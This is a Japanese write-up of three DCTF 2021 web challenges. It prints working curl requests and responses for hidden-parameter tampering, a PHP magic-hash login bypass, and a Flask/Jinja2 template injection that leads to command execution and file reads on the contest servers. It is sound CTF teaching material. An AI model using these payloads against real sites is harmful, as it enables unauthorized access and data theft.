5/15(土) 0:00 JST~5/17(月) 6:59 JSTに開催されたDCTF 2021 に会社のチームで参加した。 他のチームメンバーの陰で3問だけ解いたので、以下にWriteupを記載する。
Web
Simple web
Time to warm up! \ http://dctf1-chall-simple-web.westeurope.azurecontainer.io:8080
指定されたURLへアクセスするとflagを要求する画面が表示される。
┌──(root💀kali)-[/home/kali] └─# curl -v http://dctf1-chall-simple-web.westeurope.azurecontainer.io:8080/ * Trying 20.61.15.90:8080... * Connected to dctf1-chall-simple-web.westeurope.azurecontainer.io (20.61.15.90) port 8080 (#0) > GET / HTTP/1.1 > Host: dctf1-chall-simple-web.westeurope.azurecontainer.io:8080 > User-Agent: curl/7.74.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Content-Length: 611 < Content-Type: text/html; charset=utf-8 < Date: Sat, 15 May 2021 03:07:03 GMT < Server: waitress < <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> img { display: block; margin-left: auto; margin-right: auto; } fieldset{ border: 1px solid; width: 400px; margin:auto; } </style> </head> <body> <form action='flag' method='post'> <fieldset> <input type="checkbox" name="flag" value="1"> I want flag!<br> <input hidden name="auth" value="0"> <input type='submit' name='Submit' value='Submit' /> </fieldset> </form> </body> * Connection #0 to host dctf1-chall-simple-web.westeurope.azurecontainer.io left intact </html>
flagを要求するPOST処理する際にauthパラメータがhidden属性で0の値で渡されている。
<input hidden name="auth" value="0">
authパラメータを1に書き換えるとflagが表示される。
┌──(root💀kali)-[/home/kali/Desktop] └─# curl -X POST -d "flag=1&auth=1&Submit=Submit" http://dctf1-chall-simple-web.westeurope.azurecontainer.io:8080/flag There you go: dctf{w3b_c4n_b3_fun_r1ght?}
flag : dctf{w3b_c4n_b3_fun_r1ght?}
Very secure website
Some students have built their most secure website ever. Can you spot their mistake? http://dctf1-chall-very-secure-site.westeurope.azurecontainer.io/
指定されたURLへアクセスするとユーザ名とパスワードの認証画面が表示される。
┌──(root💀kali)-[/home/kali] └─# curl -v http://dctf1-chall-very-secure-site.westeurope.azurecontainer.io/ * Trying 20.82.56.43:80... * Connected to dctf1-chall-very-secure-site.westeurope.azurecontainer.io (20.82.56.43) port 80 (#0) > GET / HTTP/1.1 > Host: dctf1-chall-very-secure-site.westeurope.azurecontainer.io > User-Agent: curl/7.74.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Sat, 15 May 2021 03:42:03 GMT < Server: Apache/2.4.38 (Debian) < X-Powered-By: PHP/7.4.19 < Vary: Accept-Encoding < Content-Length: 1614 < Content-Type: text/html; charset=UTF-8 < <!DOCTYPE html> <html> <head> <title>Secure website</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-eOJMYsd53ii+scO/bJGFsiCZc+5NDVN2yr8+0RDqr0Ql0h+rP48ckxlpbzKgwra6" crossorigin="anonymous"> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/js/bootstrap.bundle.min.js" integrity="sha384-JEW9xMcG8R+pH31jmWH6WWP0WintQrMb4s7ZOdauHnUtxwoG2vI5DkLtS3qm9Ekf" crossorigin="anonymous"></script> </head> <body> <header> <nav class="navbar navbar-light bg-light"> <div class="container navstyle"> <a class="navbar-brand" href="#">Secure website</a> </div> </nav> </header> <div class="container pt-3 pb-2"> <h1> To view the secure file, please enter the password. </h1> <form action="login.php" method="GET"> <div class="input-group mb-3 input-sm"> <input type="text" class="form-control" name="username" placeholder="Username" /> </div> <div class="input-group mb-3"> <input type="text" class="form-control" name="password" placeholder="Password" /> </div> <div class="input-group mb-3"> <input class="btn btn-primary" type="submit" value="Submit" /> </div> </form> <div> This is a very secure website, so we will also include the <a href="source.php">source code</a>. Nobody will ever break it. It is the best. </div> </div> </body> * Connection #0 to host dctf1-chall-very-secure-site.westeurope.azurecontainer.io left intact </html>
公開されているソースコードを確認する。
http://dctf1-chall-very-secure-site.westeurope.azurecontainer.io/source.php
<?php if (isset($_GET['username']) and isset($_GET['password'])) { if (hash("tiger128,4", $_GET['username']) != "51c3f5f5d8a8830bc5d8b7ebcb5717df") { echo "Invalid username"; } else if (hash("tiger128,4", $_GET['password']) == "0e132798983807237937411964085731") { $flag = fopen("flag.txt", "r") or die("Cannot open file"); echo fread($flag, filesize("flag.txt")); fclose($flag); } else { echo "Try harder"; } } else { echo "Invalid parameters"; } ?>
ユーザ名のtiger128,4 ハッシュ値が51c3f5f5d8a8830bc5d8b7ebcb5717df
であり、パスワードのtiger128,4 ハッシュ値が0e132798983807237937411964085731
と等しいとflagが表示される。
51c3f5f5d8a8830bc5d8b7ebcb5717df
は Googleで調べるとadmin
と判明
0e132798983807237937411964085731
はPHPの緩やかな一致を使っているのでハッシュ化した値が0eから始まるものであればイコールになる。
PHPのハッシュ衝突に関する文献を探すとLnFwjYqB:0e087005190940152635463034029558
で条件を満たすことがわかる。
問題のURLへGETリクエストで投げるとflagが表示される。
┌──(root💀kali)-[/home/kali] └─# curl -v "http://dctf1-chall-very-secure-site.westeurope.azurecontainer.io/login.php?username=admin&password=LnFwjYqB" * Trying 20.82.56.43:80... * Connected to dctf1-chall-very-secure-site.westeurope.azurecontainer.io (20.82.56.43) port 80 (#0) > GET /login.php?username=admin&password=LnFwjYqB HTTP/1.1 > Host: dctf1-chall-very-secure-site.westeurope.azurecontainer.io > User-Agent: curl/7.74.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Sat, 15 May 2021 04:06:18 GMT < Server: Apache/2.4.38 (Debian) < X-Powered-By: PHP/7.4.19 < Content-Length: 45 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host dctf1-chall-very-secure-site.westeurope.azurecontainer.io left intact dctf{It's_magic._I_ain't_gotta_explain_shit.}
flag : dctf{It's_magic._I_ain't_gotta_explain_shit.}
Injection
Our local pharmacy exposed admin login to the public, can you exploit it? http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/
指定されたURLへアクセスすると注射器の画面とユーザ名/パスワードの画面が表示される。
┌──(root💀kali)-[/home/kali] └─# curl -v http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/ * Trying 20.76.104.236:8080... * Connected to dctf1-chall-injection.westeurope.azurecontainer.io (20.76.104.236) port 8080 (#0) > GET / HTTP/1.1 > Host: dctf1-chall-injection.westeurope.azurecontainer.io:8080 > User-Agent: curl/7.74.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Content-Length: 812 < Content-Type: text/html; charset=utf-8 < Date: Sat, 15 May 2021 04:10:23 GMT < Server: waitress < <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> img { display: block; margin-left: auto; margin-right: auto; } fieldset{ border: 1px solid; width: 400px; margin:auto; } </style> </head> <body> <img src="/static/index.png"> <form id='login' action='login' method='post' accept-charset='UTF-8'> <fieldset> <legend>Admin Login</legend> User:<br /> <input type='text' name='username' id='username' maxlength="50" /><br /> Password:<br /> <input type='password' name='password' id='password' maxlength="50" /><br /> <input type='submit' name='Submit' value='Submit' /> </fieldset> </form> </body> * Connection #0 to host dctf1-chall-injection.westeurope.azurecontainer.io left intact </html>
当初、SQLインジェクションの入力値を試すもヒットせず。試しにSSTIの入力値を試したところ、脆弱性が見つかった。
http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7Bconfig%7D%7D
Oops! Page <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'MESSAGE': 'You are getting closer!'}> doesn't exist :(
この後はSSTIの流れで確認を進めていく。
※以下Writeupを参考にさせて頂きました。
①jinja2の特定
http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7B__selt__.__doc__%7D%7D
Oops! Page The default undefined type. This undefined type can be printed and iterated over, but every other access will raise an :exc:`UndefinedError`: >>> foo = Undefined(name='foo') >>> str(foo) '' >>> not foo True >>> foo + 42 Traceback (most recent call last): ... jinja2.exceptions.UndefinedError: 'foo' is undefined doesn't exist :(
②current_app
の確認
http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7Burl_for.__globals__%7D%7D
Oops! Page {'__name__': 'flask.helpers', '__doc__': '\n flask.helpers\n ~~~~~~~~~~~~~\n\n Implements various helpers.\n\n :copyright: 2010 Pallets\n :license: BSD-3-Clause\n', '__package__': 'flask', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f267eabf760>, '__spec__': ModuleSpec(name='flask.helpers', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f267eabf760>, origin='/usr/local/lib/python3.9/site-packages/flask/helpers.py'), '__file__': '/usr/local/lib/python3.9/site-packages/flask/helpers.py', '__cached__': '/usr/local/lib/python3.9/site-packages/flask/__pycache__/helpers.cpython-39.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'io': <module 'io' from '/usr/local/lib/python3.9/io.py'>, 'mimetypes': <module 'mimetypes' from '/usr/local/lib/python3.9/mimetypes.py'>, 'os': <module 'os' from '/usr/local/lib/python3.9/os.py'>, 'pkgutil': <module 'pkgutil' from '/usr/local/lib/python3.9/pkgutil.py'>, 'posixpath': <module 'posixpath' from '/usr/local/lib/python3.9/posixpath.py'>, 'socket': <module 'socket' from '/usr/local/lib/python3.9/socket.py'>, 'sys': <module 'sys' (built-in)>, 'unicodedata': <module 'unicodedata' from '/usr/local/lib/python3.9/lib-dynload/unicodedata.cpython-39-x86_64-linux-gnu.so'>, 'update_wrapper': <function update_wrapper at 0x7f267fdab430>, 'RLock': <function RLock at 0x7f267fd1b1f0>, 'time': <built-in function time>, 'adler32': <built-in function adler32>, 'FileSystemLoader': <class 'jinja2.loaders.FileSystemLoader'>, 'Headers': <class 'werkzeug.datastructures.Headers'>, 'BadRequest': <class 'werkzeug.exceptions.BadRequest'>, 'NotFound': <class 'werkzeug.exceptions.NotFound'>, 'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, 'BuildError': <class 'werkzeug.routing.BuildError'>, 'url_quote': <function url_quote at 0x7f267f2d1c10>, 'wrap_file': <function wrap_file at 0x7f267ee4e4c0>, 'fspath': <built-in function fspath>, 'PY2': False, 'string_types': (<class 'str'>,), 'text_type': <class 'str'>, '_app_ctx_stack': <werkzeug.local.LocalStack object at 0x7f267ed0c5e0>, '_request_ctx_stack': <werkzeug.local.LocalStack object at 0x7f267ed0c220>, 'current_app': <Flask 'app'>, 'request': <Request 'http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7Burl_for.__globals__%7D%7D' [GET]>, 'session': <NullSession {}>, 'message_flashed': <flask.signals._FakeSignal object at 0x7f267ea81cd0>, '_missing': <object object at 0x7f267ef094b0>, '_os_alt_seps': [], 'get_env': <function get_env at 0x7f267eaaee50>, 'get_debug_flag': <function get_debug_flag at 0x7f267eaaeee0>, 'get_load_dotenv': <function get_load_dotenv at 0x7f267ea9b1f0>, '_endpoint_from_view_func': <function _endpoint_from_view_func at 0x7f267ea9b280>, 'stream_with_context': <function stream_with_context at 0x7f267ea9b310>, 'make_response': <function make_response at 0x7f267ea9b3a0>, 'url_for': <function url_for at 0x7f267ea9b430>, 'get_template_attribute': <function get_template_attribute at 0x7f267ea9b4c0>, 'flash': <function flash at 0x7f267ea9b550>, 'get_flashed_messages': <function get_flashed_messages at 0x7f267ea9b5e0>, 'send_file': <function send_file at 0x7f267ea9b670>, 'safe_join': <function safe_join at 0x7f267ea9b700>, 'send_from_directory': <function send_from_directory at 0x7f267ea9b790>, 'get_root_path': <function get_root_path at 0x7f267ea9b820>, '_matching_loader_thinks_module_is_package': <function _matching_loader_thinks_module_is_package at 0x7f267ea9b8b0>, '_find_package_path': <function _find_package_path at 0x7f267ea9b940>, 'find_package': <function find_package at 0x7f267ea9b9d0>, 'locked_cached_property': <class 'flask.helpers.locked_cached_property'>, '_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>, 'total_seconds': <function total_seconds at 0x7f267ea9ba60>, 'is_ip': <function is_ip at 0x7f267ea9d1f0>} doesn't exist :(
Oops! Page {'import_name': '__main__', 'template_folder': 'templates', 'root_path': '/app', '_static_folder': 'static', '_static_url_path': None, 'cli': <AppGroup app>, 'instance_path': '/app/instance', 'config': <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'MESSAGE': 'You are getting closer!'}>, 'view_functions': {'static': <bound method _PackageBoundObject.send_static_file of <Flask 'app'>>, 'index': <function index at 0x7f267ec2f5e0>}, 'error_handler_spec': {None: {404: {<class 'werkzeug.exceptions.NotFound'>: <function page_not_found at 0x7f267ec2f550>}}}, 'url_build_error_handlers': [], 'before_request_funcs': {}, 'before_first_request_funcs': [], 'after_request_funcs': {}, 'teardown_request_funcs': {}, 'teardown_appcontext_funcs': [], 'url_value_preprocessors': {}, 'url_default_functions': {}, 'template_context_processors': {None: [<function _default_template_ctx_processor at 0x7f267ea8a430>]}, 'shell_context_processors': [], 'blueprints': {}, '_blueprint_order': [], 'extensions': {}, 'url_map': Map([<Rule '/' (OPTIONS, HEAD, GET) -> index>, <Rule '/static/<filename>' (OPTIONS, HEAD, GET) -> static>]), 'subdomain_matching': False, '_got_first_request': True, '_before_request_lock': <unlocked _thread.lock object at 0x7f267fe60870>, 'name': 'app', 'jinja_env': <flask.templating.Environment object at 0x7f267ebbc7f0>, 'logger': <Logger app (WARNING)>} doesn't exist :(
③OSコマンドインジェクションの確認
<h1>Oops! Page total 72 drwxr-xr-x 1 root root 4096 May 15 06:30 . drwxr-xr-x 1 root root 4096 May 15 06:30 .. -rwxr-xr-x 1 root root 0 May 15 06:30 .dockerenv dr-xr-xr-x 1 root root 4096 May 14 01:33 app drwxr-xr-x 1 root root 4096 Apr 1 09:14 bin drwxr-xr-x 5 root root 360 May 15 06:30 dev drwxr-xr-x 1 root root 4096 May 15 06:30 etc drwxr-xr-x 2 root root 4096 Mar 31 16:51 home drwxr-xr-x 1 root root 4096 Apr 1 09:14 lib drwxr-xr-x 5 root root 4096 Mar 31 16:51 media drwxr-xr-x 2 root root 4096 Mar 31 16:51 mnt drwxr-xr-x 2 root root 4096 Mar 31 16:51 opt dr-xr-xr-x 171 root root 0 May 15 06:30 proc -rw-r--r-- 1 root root 112 May 14 01:32 requirements.txt drwx------ 1 root root 4096 May 14 01:33 root drwxr-xr-x 2 root root 4096 Mar 31 16:51 run drwxr-xr-x 1 root root 4096 Apr 1 09:14 sbin drwxr-xr-x 2 root root 4096 Mar 31 16:51 srv dr-xr-xr-x 12 root root 0 May 15 06:29 sys drwxrwxrwt 1 root root 4096 May 15 06:41 tmp drwxr-xr-x 1 root root 4096 Apr 1 09:14 usr drwxr-xr-x 1 root root 4096 May 15 06:30 var doesn't exist :(</h1>
④/app/libフォルダ配下のsecurity.py
を確認する。
<h1>Oops! Page import base64 def validate_login(username, password): if username != 'admin': return False valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ' return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password doesn't exist :(</h1>
⑤入力したパスワードをbase64エンコードした後に逆順にした結果がQfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ
と等しくなればログインできそう。
┌──(root💀kali)-[/home/kali/Desktop] └─# echo -n "QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ" | rev ZGN0Zns0bGxfdXMzcl8xbnB1dF8xc18zdjFsfQ ┌──(root💀kali)-[/home/kali/Desktop] └─# echo -n "ZGN0Zns0bGxfdXMzcl8xbnB1dF8xc18zdjFsfQ" | base64 -d dctf{4ll_us3r_1nput_1s_3v1l}base64: 無効な入力
パスワードがflagになっていた。
※実際はlstripで==
が除去されているのでZGN0Zns0bGxfdXMzcl8xbnB1dF8xc18zdjFsfQ==
が正しい。
※app.pyのログイン処理はコメント化されており、admin/dctf{4ll_us3r_1nput_1s_3v1l}のアカウントでログインはできない。
解きたかった問題
・DevOps vs SecOps(Web)
・・・チームのBossが既に解いていた。
・Cartooner
・・・時間が無くて解けず。
感想
・「CTFは1日1時間。外で働こう元気良く。僕らの仕事はもちろんSI。売り上げ上がればCTFも楽しい。僕らは未来の管理職」... CTFの時間がなかなか取れないです。